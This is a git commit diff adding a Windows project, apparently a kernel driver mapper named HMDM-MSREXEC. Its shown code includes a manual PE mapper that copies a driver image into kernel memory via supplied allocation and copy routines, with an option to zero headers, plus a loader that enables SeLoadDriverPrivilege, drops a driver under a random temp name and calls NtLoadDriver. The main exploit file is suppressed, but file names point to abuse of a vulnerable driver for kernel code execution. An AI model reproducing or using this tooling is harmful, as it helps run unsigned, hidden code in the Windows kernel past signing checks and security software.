parent
51bcf0a4d5
commit
c96f730fc2
@ -0,0 +1,111 @@
|
|||||||
|
<?xml version="1.0" encoding="utf-8"?>
|
||||||
|
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||||
|
<ItemGroup Label="ProjectConfigurations">
|
||||||
|
<ProjectConfiguration Include="Debug|x64">
|
||||||
|
<Configuration>Debug</Configuration>
|
||||||
|
<Platform>x64</Platform>
|
||||||
|
</ProjectConfiguration>
|
||||||
|
<ProjectConfiguration Include="Release|x64">
|
||||||
|
<Configuration>Release</Configuration>
|
||||||
|
<Platform>x64</Platform>
|
||||||
|
</ProjectConfiguration>
|
||||||
|
</ItemGroup>
|
||||||
|
<PropertyGroup Label="Globals">
|
||||||
|
<VCProjectVersion>16.0</VCProjectVersion>
|
||||||
|
<Keyword>Win32Proj</Keyword>
|
||||||
|
<ProjectGuid>{ce2c9cf7-f412-475e-bbfb-0a00121264cc}</ProjectGuid>
|
||||||
|
<RootNamespace>physmememsrexec</RootNamespace>
|
||||||
|
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
|
||||||
|
<ProjectName>HMDM-MSREXEC</ProjectName>
|
||||||
|
</PropertyGroup>
|
||||||
|
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
|
||||||
|
<ConfigurationType>Application</ConfigurationType>
|
||||||
|
<UseDebugLibraries>true</UseDebugLibraries>
|
||||||
|
<PlatformToolset>v142</PlatformToolset>
|
||||||
|
<CharacterSet>Unicode</CharacterSet>
|
||||||
|
</PropertyGroup>
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
|
||||||
|
<ConfigurationType>Application</ConfigurationType>
|
||||||
|
<UseDebugLibraries>false</UseDebugLibraries>
|
||||||
|
<PlatformToolset>v142</PlatformToolset>
|
||||||
|
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||||
|
<CharacterSet>Unicode</CharacterSet>
|
||||||
|
</PropertyGroup>
|
||||||
|
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
||||||
|
<ImportGroup Label="ExtensionSettings">
|
||||||
|
<Import Project="$(VCTargetsPath)\BuildCustomizations\masm.props" />
|
||||||
|
</ImportGroup>
|
||||||
|
<ImportGroup Label="Shared">
|
||||||
|
</ImportGroup>
|
||||||
|
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||||
|
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||||
|
</ImportGroup>
|
||||||
|
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||||
|
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||||
|
</ImportGroup>
|
||||||
|
<PropertyGroup Label="UserMacros" />
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||||
|
<LinkIncremental>true</LinkIncremental>
|
||||||
|
</PropertyGroup>
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||||
|
<LinkIncremental>false</LinkIncremental>
|
||||||
|
</PropertyGroup>
|
||||||
|
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||||
|
<ClCompile>
|
||||||
|
<WarningLevel>Level3</WarningLevel>
|
||||||
|
<SDLCheck>true</SDLCheck>
|
||||||
|
<PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||||
|
<ConformanceMode>true</ConformanceMode>
|
||||||
|
<LanguageStandard>stdcpp17</LanguageStandard>
|
||||||
|
</ClCompile>
|
||||||
|
<Link>
|
||||||
|
<SubSystem>Console</SubSystem>
|
||||||
|
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||||
|
</Link>
|
||||||
|
</ItemDefinitionGroup>
|
||||||
|
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||||
|
<ClCompile>
|
||||||
|
<WarningLevel>Level3</WarningLevel>
|
||||||
|
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||||
|
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||||
|
<SDLCheck>true</SDLCheck>
|
||||||
|
<PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||||
|
<ConformanceMode>true</ConformanceMode>
|
||||||
|
<LanguageStandard>stdcpp17</LanguageStandard>
|
||||||
|
</ClCompile>
|
||||||
|
<Link>
|
||||||
|
<SubSystem>Console</SubSystem>
|
||||||
|
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||||
|
<OptimizeReferences>true</OptimizeReferences>
|
||||||
|
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||||
|
</Link>
|
||||||
|
</ItemDefinitionGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<ClCompile Include="main.cpp" />
|
||||||
|
<ClCompile Include="hmdm_ctx.cpp" />
|
||||||
|
<ClCompile Include="msrexec.cpp" />
|
||||||
|
</ItemGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<ClInclude Include="ia32.hpp" />
|
||||||
|
<ClInclude Include="loadup.hpp" />
|
||||||
|
<ClInclude Include="hmdm_ctx.h" />
|
||||||
|
<ClInclude Include="msrexec.hpp" />
|
||||||
|
<ClInclude Include="raw_driver.hpp" />
|
||||||
|
<ClInclude Include="syscall_handler.h" />
|
||||||
|
<ClInclude Include="utils.hpp" />
|
||||||
|
<ClInclude Include="vdm.hpp" />
|
||||||
|
</ItemGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<MASM Include="syscall_handler.asm">
|
||||||
|
<FileType>Document</FileType>
|
||||||
|
</MASM>
|
||||||
|
</ItemGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<ResourceCompile Include="icon.rc" />
|
||||||
|
</ItemGroup>
|
||||||
|
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||||
|
<ImportGroup Label="ExtensionTargets">
|
||||||
|
<Import Project="$(VCTargetsPath)\BuildCustomizations\masm.targets" />
|
||||||
|
</ImportGroup>
|
||||||
|
</Project>
|
@ -0,0 +1,60 @@
|
|||||||
|
<?xml version="1.0" encoding="utf-8"?>
|
||||||
|
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||||
|
<ItemGroup>
|
||||||
|
<Filter Include="Source Files">
|
||||||
|
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
|
||||||
|
<Extensions>cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
|
||||||
|
</Filter>
|
||||||
|
<Filter Include="Header Files">
|
||||||
|
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
|
||||||
|
<Extensions>h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd</Extensions>
|
||||||
|
</Filter>
|
||||||
|
</ItemGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<ClCompile Include="main.cpp">
|
||||||
|
<Filter>Source Files</Filter>
|
||||||
|
</ClCompile>
|
||||||
|
<ClCompile Include="msrexec.cpp">
|
||||||
|
<Filter>Source Files</Filter>
|
||||||
|
</ClCompile>
|
||||||
|
<ClCompile Include="hmdm_ctx.cpp">
|
||||||
|
<Filter>Source Files</Filter>
|
||||||
|
</ClCompile>
|
||||||
|
</ItemGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<ClInclude Include="ia32.hpp">
|
||||||
|
<Filter>Header Files</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
<ClInclude Include="loadup.hpp">
|
||||||
|
<Filter>Header Files</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
<ClInclude Include="msrexec.hpp">
|
||||||
|
<Filter>Header Files</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
<ClInclude Include="raw_driver.hpp">
|
||||||
|
<Filter>Header Files</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
<ClInclude Include="syscall_handler.h">
|
||||||
|
<Filter>Header Files</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
<ClInclude Include="utils.hpp">
|
||||||
|
<Filter>Header Files</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
<ClInclude Include="vdm.hpp">
|
||||||
|
<Filter>Header Files</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
<ClInclude Include="hmdm_ctx.h">
|
||||||
|
<Filter>Header Files</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
</ItemGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<ResourceCompile Include="icon.rc">
|
||||||
|
<Filter>Header Files</Filter>
|
||||||
|
</ResourceCompile>
|
||||||
|
</ItemGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<MASM Include="syscall_handler.asm">
|
||||||
|
<Filter>Source Files</Filter>
|
||||||
|
</MASM>
|
||||||
|
</ItemGroup>
|
||||||
|
</Project>
|
@ -0,0 +1,4 @@
|
|||||||
|
<?xml version="1.0" encoding="utf-8"?>
|
||||||
|
<Project ToolsVersion="Current" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||||
|
<PropertyGroup />
|
||||||
|
</Project>
|
@ -0,0 +1,193 @@
|
|||||||
|
#include "hmdm_ctx.h"
|
||||||
|
|
||||||
|
namespace drv
|
||||||
|
{
|
||||||
|
hmdm_ctx::hmdm_ctx(const mapper_routines_t& routines)
|
||||||
|
:
|
||||||
|
kalloc(std::get<0>(routines)),
|
||||||
|
kmemcpy(std::get<1>(routines))
|
||||||
|
{}
|
||||||
|
|
||||||
|
auto hmdm_ctx::map_module(drv_buffer_t& drv_buffer, bool zero_headers)->std::pair<image_base_t, image_entry_t>
|
||||||
|
{
|
||||||
|
if (drv_buffer.empty())
|
||||||
|
return { {}, {} };
|
||||||
|
|
||||||
|
const auto dos_header =
|
||||||
|
reinterpret_cast<PIMAGE_DOS_HEADER>(drv_buffer.data());
|
||||||
|
|
||||||
|
const auto nt_header =
|
||||||
|
reinterpret_cast<PIMAGE_NT_HEADERS>(
|
||||||
|
drv_buffer.data() + dos_header->e_lfanew);
|
||||||
|
|
||||||
|
const auto section_header =
|
||||||
|
reinterpret_cast<IMAGE_SECTION_HEADER*>(
|
||||||
|
reinterpret_cast<std::uintptr_t>(&nt_header->OptionalHeader) +
|
||||||
|
nt_header->FileHeader.SizeOfOptionalHeader);
|
||||||
|
|
||||||
|
drv_buffer_t image_mapped;
|
||||||
|
image_mapped.resize(nt_header->OptionalHeader.SizeOfImage);
|
||||||
|
std::copy_n(drv_buffer.begin(), nt_header->OptionalHeader.SizeOfHeaders, image_mapped.begin());
|
||||||
|
|
||||||
|
for (auto idx = 0u; idx < nt_header->FileHeader.NumberOfSections; ++idx)
|
||||||
|
{
|
||||||
|
const auto& section = section_header[idx];
|
||||||
|
const auto target =
|
||||||
|
reinterpret_cast<std::uintptr_t>(
|
||||||
|
image_mapped.data() + section.VirtualAddress);
|
||||||
|
|
||||||
|
const auto source =
|
||||||
|
reinterpret_cast<std::uintptr_t>(
|
||||||
|
dos_header + section.PointerToRawData);
|
||||||
|
|
||||||
|
std::copy_n(drv_buffer.begin() + section.PointerToRawData,
|
||||||
|
section.SizeOfRawData, image_mapped.begin() + section.VirtualAddress);
|
||||||
|
}
|
||||||
|
|
||||||
|
const auto alloc_base =
|
||||||
|
reinterpret_cast<std::uint8_t*>(
|
||||||
|
kalloc(nt_header->OptionalHeader.SizeOfImage));
|
||||||
|
|
||||||
|
DBG_PRINT("> alloc base -> 0x%p\n", alloc_base);
|
||||||
|
|
||||||
|
if (!alloc_base)
|
||||||
|
return { {}, {} };
|
||||||
|
|
||||||
|
resolve_imports(image_mapped);
|
||||||
|
fix_relocs(image_mapped);
|
||||||
|
|
||||||
|
if (zero_headers)
|
||||||
|
{
|
||||||
|
const auto module_base =
|
||||||
|
nt_header->OptionalHeader.SizeOfHeaders + image_mapped.data();
|
||||||
|
|
||||||
|
const auto module_size =
|
||||||
|
nt_header->OptionalHeader.SizeOfImage -
|
||||||
|
nt_header->OptionalHeader.SizeOfHeaders;
|
||||||
|
|
||||||
|
kmemcpy(alloc_base + nt_header->OptionalHeader.SizeOfHeaders, module_base, module_size);
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
const auto module_size =
|
||||||
|
nt_header->OptionalHeader.SizeOfImage;
|
||||||
|
|
||||||
|
kmemcpy(alloc_base, image_mapped.data(), module_size);
|
||||||
|
}
|
||||||
|
|
||||||
|
return
|
||||||
|
{
|
||||||
|
reinterpret_cast<std::uintptr_t>(alloc_base),
|
||||||
|
reinterpret_cast<std::uintptr_t>(alloc_base +
|
||||||
|
nt_header->OptionalHeader.AddressOfEntryPoint)
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
auto hmdm_ctx::fix_relocs(drv_buffer_t& drv_buffer) const -> void
|
||||||
|
{
|
||||||
|
const auto dos_header =
|
||||||
|
reinterpret_cast<PIMAGE_DOS_HEADER>(drv_buffer.data());
|
||||||
|
|
||||||
|
const auto nt_header =
|
||||||
|
reinterpret_cast<PIMAGE_NT_HEADERS>(
|
||||||
|
drv_buffer.data() + dos_header->e_lfanew);
|
||||||
|
|
||||||
|
const auto base_reloc_dir =
|
||||||
|
reinterpret_cast<PIMAGE_DATA_DIRECTORY>(
|
||||||
|
&nt_header->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC]);
|
||||||
|
|
||||||
|
if (base_reloc_dir->VirtualAddress)
|
||||||
|
{
|
||||||
|
auto reloc =
|
||||||
|
reinterpret_cast<PIMAGE_BASE_RELOCATION>(
|
||||||
|
drv_buffer.data() + base_reloc_dir->VirtualAddress);
|
||||||
|
|
||||||
|
for (auto current_size = 0u; current_size < base_reloc_dir->Size;)
|
||||||
|
{
|
||||||
|
const auto reloc_count =
|
||||||
|
(reloc->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(std::uint16_t);
|
||||||
|
|
||||||
|
auto reloc_data = reinterpret_cast<std::uint16_t*>(
|
||||||
|
reinterpret_cast<std::uintptr_t>(reloc) + sizeof(IMAGE_BASE_RELOCATION));
|
||||||
|
|
||||||
|
const auto reloc_base =
|
||||||
|
drv_buffer.data() + reloc->VirtualAddress;
|
||||||
|
|
||||||
|
for (auto idx = 0u; idx < reloc_count; ++idx, ++reloc_data)
|
||||||
|
{
|
||||||
|
const auto data = *reloc_data;
|
||||||
|
const auto type = data >> 12;
|
||||||
|
const auto offset = data & 0xFFF;
|
||||||
|
|
||||||
|
switch (type)
|
||||||
|
{
|
||||||
|
case IMAGE_REL_BASED_ABSOLUTE:
|
||||||
|
break;
|
||||||
|
case IMAGE_REL_BASED_DIR64:
|
||||||
|
{
|
||||||
|
const auto rva = reinterpret_cast<std::uintptr_t*>(reloc_base + offset);
|
||||||
|
|
||||||
|
*rva = reinterpret_cast<std::uintptr_t>(
|
||||||
|
drv_buffer.data() + (*rva - nt_header->OptionalHeader.ImageBase));
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
default:
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
current_size += reloc->SizeOfBlock;
|
||||||
|
reloc = reinterpret_cast<PIMAGE_BASE_RELOCATION>(reloc_data);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
auto hmdm_ctx::resolve_imports(drv_buffer_t& drv_buffer) const -> void
|
||||||
|
{
|
||||||
|
ULONG size;
|
||||||
|
auto import_descriptors = static_cast<PIMAGE_IMPORT_DESCRIPTOR>(
|
||||||
|
::ImageDirectoryEntryToData(drv_buffer.data(),
|
||||||
|
TRUE, IMAGE_DIRECTORY_ENTRY_IMPORT, &size));
|
||||||
|
|
||||||
|
if (!import_descriptors)
|
||||||
|
return;
|
||||||
|
|
||||||
|
for (; import_descriptors->Name; import_descriptors++)
|
||||||
|
{
|
||||||
|
IMAGE_THUNK_DATA* image_thunk_data;
|
||||||
|
const auto module_name =
|
||||||
|
reinterpret_cast<const char*>(
|
||||||
|
drv_buffer.data() + import_descriptors->Name);
|
||||||
|
|
||||||
|
if (import_descriptors->OriginalFirstThunk)
|
||||||
|
image_thunk_data =
|
||||||
|
reinterpret_cast<PIMAGE_THUNK_DATA>(
|
||||||
|
drv_buffer.data() + import_descriptors->OriginalFirstThunk);
|
||||||
|
else
|
||||||
|
image_thunk_data =
|
||||||
|
reinterpret_cast<PIMAGE_THUNK_DATA>(
|
||||||
|
drv_buffer.data() + import_descriptors->FirstThunk);
|
||||||
|
|
||||||
|
auto image_func_data =
|
||||||
|
reinterpret_cast<PIMAGE_THUNK_DATA>(
|
||||||
|
drv_buffer.data() + import_descriptors->FirstThunk);
|
||||||
|
|
||||||
|
for (; image_thunk_data->u1.AddressOfData; image_thunk_data++, image_func_data++)
|
||||||
|
{
|
||||||
|
const auto image_import_by_name =
|
||||||
|
reinterpret_cast<PIMAGE_IMPORT_BY_NAME>(
|
||||||
|
drv_buffer.data() + (*(DWORD*)image_thunk_data));
|
||||||
|
|
||||||
|
const auto name_of_import =
|
||||||
|
static_cast<char*>(image_import_by_name->Name);
|
||||||
|
|
||||||
|
image_func_data->u1.Function =
|
||||||
|
utils::kmodule::get_export(
|
||||||
|
module_name, name_of_import);
|
||||||
|
|
||||||
|
DBG_PRINT("> resolved import... %s!%s -> 0x%p\n",
|
||||||
|
module_name, name_of_import, image_func_data->u1.Function);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
@ -0,0 +1,30 @@
|
|||||||
|
#pragma once
|
||||||
|
#include "utils.hpp"
|
||||||
|
#include <type_traits>
|
||||||
|
#include <dbghelp.h>
|
||||||
|
|
||||||
|
#pragma comment(lib, "Dbghelp.lib")
|
||||||
|
namespace drv
|
||||||
|
{
|
||||||
|
using kalloc_t = std::function<decltype(malloc)>;
|
||||||
|
using kmemcpy_t = std::function<decltype(memcpy)>;
|
||||||
|
using kmemset_t = std::function<decltype(memset)>;
|
||||||
|
|
||||||
|
using image_base_t = std::uintptr_t;
|
||||||
|
using image_entry_t = std::uintptr_t;
|
||||||
|
using mapper_routines_t = std::pair<kalloc_t, kmemcpy_t>;
|
||||||
|
using drv_buffer_t = std::vector<std::uint8_t>;
|
||||||
|
|
||||||
|
class hmdm_ctx
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
explicit hmdm_ctx(const mapper_routines_t& routines);
|
||||||
|
auto map_module(drv_buffer_t& drv_buffer, bool zero_headers = true)->std::pair<image_base_t, image_entry_t>;
|
||||||
|
|
||||||
|
const kalloc_t kalloc;
|
||||||
|
const kmemcpy_t kmemcpy;
|
||||||
|
private:
|
||||||
|
auto resolve_imports(drv_buffer_t& drv_buffer) const -> void;
|
||||||
|
auto fix_relocs(drv_buffer_t& drv_buffer) const -> void;
|
||||||
|
};
|
||||||
|
}
|
File diff suppressed because it is too large
Load Diff
After Width: | Height: | Size: 179 KiB |
@ -0,0 +1,3 @@
|
|||||||
|
// Icon Resource Definition
|
||||||
|
#define MAIN_ICON 102
|
||||||
|
MAIN_ICON ICON "icon.ico"
|
@ -0,0 +1,263 @@
|
|||||||
|
/*
|
||||||
|
MIT License
|
||||||
|
|
||||||
|
Copyright (c) 2020 xerox
|
||||||
|
|
||||||
|
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||||
|
of this software and associated documentation files (the "Software"), to deal
|
||||||
|
in the Software without restriction, including without limitation the rights
|
||||||
|
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||||
|
copies of the Software, and to permit persons to whom the Software is
|
||||||
|
furnished to do so, subject to the following conditions:
|
||||||
|
|
||||||
|
The above copyright notice and this permission notice shall be included in all
|
||||||
|
copies or substantial portions of the Software.
|
||||||
|
|
||||||
|
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||||
|
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||||
|
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||||
|
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||||
|
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||||
|
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||||
|
SOFTWARE.
|
||||||
|
*/
|
||||||
|
|
||||||
|
|
||||||
|
#pragma once
|
||||||
|
#include <Windows.h>
|
||||||
|
#include <Winternl.h>
|
||||||
|
#include <string>
|
||||||
|
#include <fstream>
|
||||||
|
#include <filesystem>
|
||||||
|
#include <ntstatus.h>
|
||||||
|
#include <time.h>
|
||||||
|
|
||||||
|
#pragma comment(lib, "ntdll.lib")
|
||||||
|
extern "C" NTSTATUS NtLoadDriver(PUNICODE_STRING);
|
||||||
|
extern "C" NTSTATUS NtUnloadDriver(PUNICODE_STRING);
|
||||||
|
|
||||||
|
namespace driver
|
||||||
|
{
|
||||||
|
namespace util
|
||||||
|
{
|
||||||
|
inline auto delete_service_entry(const std::string& service_name) -> bool
|
||||||
|
{
|
||||||
|
HKEY reg_handle;
|
||||||
|
static const std::string reg_key("System\\CurrentControlSet\\Services\\");
|
||||||
|
|
||||||
|
auto result = RegOpenKeyA(
|
||||||
|
HKEY_LOCAL_MACHINE,
|
||||||
|
reg_key.c_str(),
|
||||||
|
®_handle
|
||||||
|
);
|
||||||
|
|
||||||
|
return ERROR_SUCCESS == RegDeleteKeyA(reg_handle, service_name.data()) &&
|
||||||
|
ERROR_SUCCESS == RegCloseKey(reg_handle);;
|
||||||
|
}
|
||||||
|
|
||||||
|
inline auto create_service_entry(const std::string& drv_path, const std::string& service_name) -> bool
|
||||||
|
{
|
||||||
|
HKEY reg_handle;
|
||||||
|
std::string reg_key("System\\CurrentControlSet\\Services\\");
|
||||||
|
reg_key += service_name;
|
||||||
|
|
||||||
|
auto result = RegCreateKeyA(
|
||||||
|
HKEY_LOCAL_MACHINE,
|
||||||
|
reg_key.c_str(),
|
||||||
|
®_handle
|
||||||
|
);
|
||||||
|
|
||||||
|
if (result != ERROR_SUCCESS)
|
||||||
|
return false;
|
||||||
|
|
||||||
|
std::uint8_t type_value = 1;
|
||||||
|
result = RegSetValueExA(
|
||||||
|
reg_handle,
|
||||||
|
"Type",
|
||||||
|
NULL,
|
||||||
|
REG_DWORD,
|
||||||
|
&type_value,
|
||||||
|
4u
|
||||||
|
);
|
||||||
|
|
||||||
|
if (result != ERROR_SUCCESS)
|
||||||
|
return false;
|
||||||
|
|
||||||
|
std::uint8_t error_control_value = 3;
|
||||||
|
result = RegSetValueExA(
|
||||||
|
reg_handle,
|
||||||
|
"ErrorControl",
|
||||||
|
NULL,
|
||||||
|
REG_DWORD,
|
||||||
|
&error_control_value,
|
||||||
|
4u
|
||||||
|
);
|
||||||
|
|
||||||
|
if (result != ERROR_SUCCESS)
|
||||||
|
return false;
|
||||||
|
|
||||||
|
std::uint8_t start_value = 3;
|
||||||
|
result = RegSetValueExA(
|
||||||
|
reg_handle,
|
||||||
|
"Start",
|
||||||
|
NULL,
|
||||||
|
REG_DWORD,
|
||||||
|
&start_value,
|
||||||
|
4u
|
||||||
|
);
|
||||||
|
|
||||||
|
if (result != ERROR_SUCCESS)
|
||||||
|
return false;
|
||||||
|
|
||||||
|
result = RegSetValueExA(
|
||||||
|
reg_handle,
|
||||||
|
"ImagePath",
|
||||||
|
NULL,
|
||||||
|
REG_SZ,
|
||||||
|
(std::uint8_t*)drv_path.c_str(),
|
||||||
|
drv_path.size()
|
||||||
|
);
|
||||||
|
|
||||||
|
if (result != ERROR_SUCCESS)
|
||||||
|
return false;
|
||||||
|
|
||||||
|
return ERROR_SUCCESS == RegCloseKey(reg_handle);
|
||||||
|
}
|
||||||
|
|
||||||
|
inline auto enable_privilege(const std::wstring& privilege_name) -> bool
|
||||||
|
{
|
||||||
|
HANDLE token_handle = nullptr;
|
||||||
|
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &token_handle))
|
||||||
|
return false;
|
||||||
|
|
||||||
|
LUID luid{};
|
||||||
|
if (!LookupPrivilegeValueW(nullptr, privilege_name.data(), &luid))
|
||||||
|
return false;
|
||||||
|
|
||||||
|
TOKEN_PRIVILEGES token_state{};
|
||||||
|
token_state.PrivilegeCount = 1;
|
||||||
|
token_state.Privileges[0].Luid = luid;
|
||||||
|
token_state.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
|
||||||
|
|
||||||
|
if (!AdjustTokenPrivileges(token_handle, FALSE, &token_state, sizeof(TOKEN_PRIVILEGES), nullptr, nullptr))
|
||||||
|
return false;
|
||||||
|
|
||||||
|
CloseHandle(token_handle);
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
inline auto get_service_image_path(const std::string& service_name) -> std::string
|
||||||
|
{
|
||||||
|
HKEY reg_handle;
|
||||||
|
DWORD bytes_read;
|
||||||
|
char image_path[0xFF];
|
||||||
|
static const std::string reg_key("System\\CurrentControlSet\\Services\\");
|
||||||
|
|
||||||
|
auto result = RegOpenKeyA(
|
||||||
|
HKEY_LOCAL_MACHINE,
|
||||||
|
reg_key.c_str(),
|
||||||
|
®_handle
|
||||||
|
);
|
||||||
|
|
||||||
|
result = RegGetValueA(
|
||||||
|
reg_handle,
|
||||||
|
service_name.c_str(),
|
||||||
|
"ImagePath",
|
||||||
|
REG_SZ,
|
||||||
|
NULL,
|
||||||
|
image_path,
|
||||||
|
&bytes_read
|
||||||
|
);
|
||||||
|
|
||||||
|
RegCloseKey(reg_handle);
|
||||||
|
return std::string(image_path);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
inline auto load(const std::string& drv_path, const std::string& service_name) -> NTSTATUS
|
||||||
|
{
|
||||||
|
if (!util::enable_privilege(L"SeLoadDriverPrivilege"))
|
||||||
|
return false;
|
||||||
|
|
||||||
|
if (!util::create_service_entry("\\??\\" +
|
||||||
|
std::filesystem::absolute(std::filesystem::path(drv_path)).string(), service_name))
|
||||||
|
return false;
|
||||||
|
|
||||||
|
std::string reg_path("\\Registry\\Machine\\System\\CurrentControlSet\\Services\\");
|
||||||
|
reg_path += service_name;
|
||||||
|
|
||||||
|
ANSI_STRING driver_rep_path_cstr;
|
||||||
|
UNICODE_STRING driver_reg_path_unicode;
|
||||||
|
|
||||||
|
RtlInitAnsiString(&driver_rep_path_cstr, reg_path.c_str());
|
||||||
|
RtlAnsiStringToUnicodeString(&driver_reg_path_unicode, &driver_rep_path_cstr, true);
|
||||||
|
return NtLoadDriver(&driver_reg_path_unicode);
|
||||||
|
}
|
||||||
|
|
||||||
|
inline auto load(const std::vector<std::uint8_t>& drv_buffer) -> std::pair<NTSTATUS, std::string>
|
||||||
|
{
|
||||||
|
static const auto random_file_name = [](std::size_t length) -> std::string
|
||||||
|
{
|
||||||
|
std::srand(std::time(0));
|
||||||
|
static const auto randchar = []() -> char
|
||||||
|
{
|
||||||
|
const char charset[] =
|
||||||
|
"0123456789"
|
||||||
|
"ABCDEFGHIJKLMNOPQRSTUVWXYZ"
|
||||||
|
"abcdefghijklmnopqrstuvwxyz";
|
||||||
|
const std::size_t max_index = (sizeof(charset) - 1);
|
||||||
|
return charset[rand() % max_index];
|
||||||
|
};
|
||||||
|
|
||||||
|
std::string str(length, 0);
|
||||||
|
std::generate_n(str.begin(), length, randchar);
|
||||||
|
return str;
|
||||||
|
};
|
||||||
|
|
||||||
|
const auto service_name = random_file_name(16);
|
||||||
|
const auto file_path = std::filesystem::temp_directory_path().string() + service_name;
|
||||||
|
std::ofstream output_file(file_path.c_str(), std::ios::binary);
|
||||||
|
|
||||||
|
output_file.write((char*)drv_buffer.data(), drv_buffer.size());
|
||||||
|
output_file.close();
|
||||||
|
|
||||||
|
return { load(file_path, service_name), service_name };
|
||||||
|
}
|
||||||
|
|
||||||
|
inline auto load(const std::uint8_t* buffer, const std::size_t size) -> std::pair<NTSTATUS, std::string>
|
||||||
|
{
|
||||||
|
std::vector<std::uint8_t> image(buffer, buffer + size);
|
||||||
|
return load(image);
|
||||||
|
}
|
||||||
|
|
||||||
|
inline auto unload(const std::string& service_name) -> NTSTATUS
|
||||||
|
{
|
||||||
|
std::string reg_path("\\Registry\\Machine\\System\\CurrentControlSet\\Services\\");
|
||||||
|
reg_path += service_name;
|
||||||
|
|
||||||
|
ANSI_STRING driver_rep_path_cstr;
|
||||||
|
UNICODE_STRING driver_reg_path_unicode;
|
||||||
|
|
||||||
|
RtlInitAnsiString(&driver_rep_path_cstr, reg_path.c_str());
|
||||||
|
RtlAnsiStringToUnicodeString(
|
||||||
|
&driver_reg_path_unicode, &driver_rep_path_cstr, true);
|
||||||
|
|
||||||
|
const bool unload_result =
|
||||||
|
NtUnloadDriver(&driver_reg_path_unicode);
|
||||||
|
|
||||||
|
util::delete_service_entry(service_name);
|
||||||
|
